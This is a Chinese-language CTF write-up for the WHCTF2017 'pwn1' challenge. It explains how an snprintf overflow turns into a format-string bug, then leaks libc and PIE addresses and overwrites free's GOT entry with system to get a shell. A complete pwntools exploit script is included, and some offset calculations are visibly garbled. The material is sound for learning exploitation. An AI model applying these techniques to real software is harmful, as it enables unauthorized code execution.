首先,看一下程序的保护机制
开启了CANARY、NX和PIE,RELRO部分开启,我们可以改写GOT表
然后,我们用IDA分析
read的maxsize参数比变量的空间大小要小,因此无法溢出到栈底,加上开启了PIE,因此排除了ROP的方法
我们再仔细观察一下,发现snprintf在执行的过程中,v2可以溢出到v3,而v3存储的是格式化字符串,因此,我们可以溢出v2,修改格式化字符串,达到任意地址的读写。
我们再看看主函数,
我们可以利用snprintf格式化字符串漏洞,修改free的GOT表,让它指向system,然后我们第二次输入/bin/sh字符串,那么/bin/sh会存到堆里,当调用free(buf),时,就相当于执行了system(binsh_addr),我们就能getshell。
修改free的GOT表时,也有技巧,我们可以只修改后4字节数据,因此free和system在libc中的位置偏差也就那么多,那么它们在内存中的地址,也就最后几字节不一样,我们只需覆盖最后几字节数据即可。这也叫pritiawrite技术。
那么我们首先得让free的GOT表中的地址加载好,那么我们得先调用一次free。
1 2 3
| sh.sendlineafter('Input Your Code:n','2') sh.sendlineafter('Input Your Name:n','test')
|
接下来,我们就可以开启啦。
由于开启了PIE,我们得先利用snprintf泄露一些地址。
在我们进入功能1函数前,我们看到栈里有一个__libc_start_main+F0的地址,我们可以利用snprintf把它的值暴露出来。
为什么能够工作?(%s不是在snprintf执行时就传入了吗,%s如果变化了,按理来说不影响snprintf啊)
经过不断的调试,发现,[snprintf把格式化字符串的地址记下来,然后,每次要处理一个字符时,先从地址处取格式化字符串,然后再根据格式化字符串来处理字符。由于地址是没变的,变的是地址里面的内容。]{.mark}
1 2 3 4 5 6
| sh.sendlineafter('Input Your Code:n','1')
payload = 'a'*(0x3E8)+'bb%397$p' sh.sendafter('Welcome To WHCTF2017:n',payload) sh.recvuntil('0x') __libc_start_main = int(sh.recvuntil('n'),16) - 0xF0
|
这里,解释一下payload,前面0x3E0x7F0(v3位置-0x408(v2位置)
注意,接下来的两个字符bb是重要的(不能是aa,即不能与前面的那0x3E8个字符一样,不知道为什么,其他的都可以,有知道的大佬欢迎留言),这是为了覆盖原先的%s,根据上面说的snprintf工作过程,snprintf处理前面0x3E8个字符时,用的都是%s来格式化,当处理第一个b时,此时b已经覆盖了%号,格式化字符串变为bs,当处理第二个b时,此时b覆盖了字符s,格式化字符串变成bb。接下来,%397$p被原模原样的覆盖到了bb的后面,也就是最后,格式化字符串变成了bb%397$p,当snprintf读到格式化字符串为bb%397$p,变打印了bb0x[第397个元素的值]
%397$p就是距栈底397个位置的数据(也就是__libc_start_main+F0),这是如何得到的?
如图,在我们跟踪进入snprintf函数以后,并且还**[未对rsp做调整]{.mark}**时,栈顶rsp为0x7FFD176702D0,然后我们找到__libc_start_main+F0在栈里的位置,为0x7FFD17670F38
那么
(0x7FFD17670F–0x7FFD176702D397
我们利用同样的方法泄露init的地址
那么,现在我们就能计算出程序的加载基地址和libc的加载基地址了
1 2 3 4 5 6 7 8 9 10 11 12 13
| libc = LibcSearcher('__libc_start_main',__libc_start_main)
libc_base = __libc_start_main - libc.dump('__libc_start_main') system_addr = libc_base + libc.dump('system') print 'system addr=',hex(system_addr) sh.sendlineafter('Input Your Code:n','1')
payload = 'a'*(0x3E8)+'bb%396$p' sh.sendafter('Welcome To WHCTF2017:n',payload) sh.recvuntil('0x') init_addr = int(sh.recvuntil('n'),16)
elf_base = init_addr - 0xDA0
|
然后,我们得到了基地址,我们就能得到free的GOT表地址和system的地址。
然后,我们该如何来修改free的GOT表呢?
首先,我们不能把p64(addr)放格式化字符串的前面,因为p64(addr)里面有0,会导致snprintf遇到0后就结束,不能读取到我们后来的格式化字符串。
所以必须放后面,类似于这样
1 2
| ; payload = 'a'*(0x3E8) + ('bb%' + str(data - 0x3FE) + 'c%133$hn').ljust(16,'a') + p64(free_addr + 2)
|
其中,**%133$hn代表把距栈顶133个位置处的数据当成地址,往那个地址处写一个值,hn表示写一个WORD(字)的数据,也就是2字节数据,并且值表示在这之前,snprintf已经打印了多少个字符,**具体可以去学习一下字符串格式化漏洞的相关知识。
ljust(16,’a’)是为了凑出16字节,格式化字符串可能超过8字节,但不会超过16字节,并且,由于要8字节对齐,所以需要补足。
这个133是如何得到的?
当进入snprintf,当还没变更rsp时,rsp栈顶为0x7FFF4D0A1BE0,然后我们看到我们输入的数据是从7FFF4D0A1C10开始的
于是公式为
(7FFF4D0A1C0x7FFF4D0A1BE(0x3E133
那么,我们最终写出exp脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| from pwn import * from LibcSearcher import *
sh = process('./pwn1')
elf = ELF('./pwn1')
sh.sendlineafter('Input Your Code:\n','2') sh.sendlineafter('Input Your Name:\n','test') sh.sendlineafter('Input Your Code:\n','1')
payload = 'a'*(0x3E8)+'bb%397$p' sh.sendafter('Welcome To WHCTF2017:\n',payload) sh.recvuntil('0x') __libc_start_main = int(sh.recvuntil('\n'),16) - 0xF0 libc = LibcSearcher('__libc_start_main',__libc_start_main)
libc_base = __libc_start_main - libc.dump('__libc_start_main') system_addr = libc_base + libc.dump('system') print 'system addr=',hex(system_addr) sh.sendlineafter('Input Your Code:\n','1')
payload = 'a'*(0x3E8)+'bb%396$p' sh.sendafter('Welcome To WHCTF2017:\n',payload) sh.recvuntil('0x') init_addr = int(sh.recvuntil('\n'),16)
elf_base = init_addr - 0xDA0
free_addr = elf_base + elf.got['free'] print 'free_addr=',hex(free_addr)
sh.sendlineafter('Input Your Code:\n','1')
data = (system_addr & 0xFFFFFFFF) >> 16
payload = 'a'*(0x3E8) + ('bb%' + str(data - 0x3FE) + 'c%133$hn').ljust(16,'a') + p64(free_addr + 2) sh.sendafter('Welcome To WHCTF2017:\n',payload)
data = system_addr & 0xFFFF sh.sendlineafter('Input Your Code:\n','1') payload = 'a'*(0x3E8) + ('bb%' + str(data - 0x3FE) + 'c%133$hn').ljust(16,'a') + p64(free_addr) sh.sendafter('Welcome To WHCTF2017:\n',payload)
sh.sendlineafter('Input Your Code:\n','2') sh.sendlineafter('Input Your Name:\n','/bin/sh') sh.interactive()
|